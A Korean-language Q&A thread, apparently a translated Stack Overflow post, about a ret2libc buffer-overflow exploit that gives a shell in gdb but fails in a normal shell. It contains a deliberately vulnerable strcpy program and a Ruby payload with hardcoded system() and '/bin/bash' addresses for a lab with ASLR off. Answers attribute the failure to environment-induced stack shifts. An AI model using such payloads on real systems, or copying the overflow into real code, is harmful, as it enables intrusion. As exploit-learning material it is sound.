2013-06-24 11 views
0

ret2libc 버퍼 오버플로를 사용하여 NX를 우회합니다.Ret2libc가 gdb에서 작동하지만 정상적인 쉘에서 오류가 발생했습니다. sh : 1 : g : 0 : 1 : 찾을 수 없음

내 취약한 코드 (vuln.c) :이 명령을 사용하여 컴파일 된

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char *argv[]) 
{ 
    char buffer[512]; 

    if (argc != 2) 
     printf("NO\n"); 
    else { 
     strcpy(buffer, argv[1]); 
     printf("%s\n", buffer); 
    } 
} 

: 다음이 간단한 ret2libc을 만들어 # gcc -o vuln vuln.c

루비 (exploit.rb)에 악용 :

p = "A"*524 
p += [0xb7e9ef10].pack('<I') # system() 
p += [0xb7e79e46].pack('<I') # nomal ret val 
p += [0xbffff75a].pack('<I') # "/bin/bash" 
print(p) 

(gdb) r $(ruby exploit.rb)으로 gdb에서 실행하면 멋진 bash 쉘을 얻을 수 있습니다.

나는 다음 # ./vuln $(ruby exploit.rb)와 일반 쉘에서 실행하려고 노력하지만, 대신 나에게 쉘을주는 대신 날이 있습니다 : sh: 1: g:0:1: not found

ASLR가 비활성화되고 사용할 수있는 유일한 보호가 생각, NX이다.

도움을 주시면 감사하겠습니다.

편집 :

내가 도움이 경우는 i686에서이 작업을 실행하고 있습니다.

답변

1

이동 이유는 실행 환경입니다. 여기

[email protected]:~$ ./getenv PWN 
PWN ("/home/user/pwn") is at 0xbfffff82 
[email protected]:~$ /home/user/getenv PWN 
PWN ("/home/user/pwn") is at 0xbfffff70 

PWN의 주소에 영향을 미치는 의 GetEnv를 실행하는 방식.

0

코드 실행을 달성했지만 SHELL env var의 주소가 꺼져 있습니다. 시도하십시오 [address of shell in gdb] + 4 또는 gdb, x/s 0xbffff75a+4.

+0

나는이 값에 이미 4를 더했다. 셸 (gdb가 아닌)에서 실행할 때 어떤 이유로 주소가 이동합니다. – carloabelli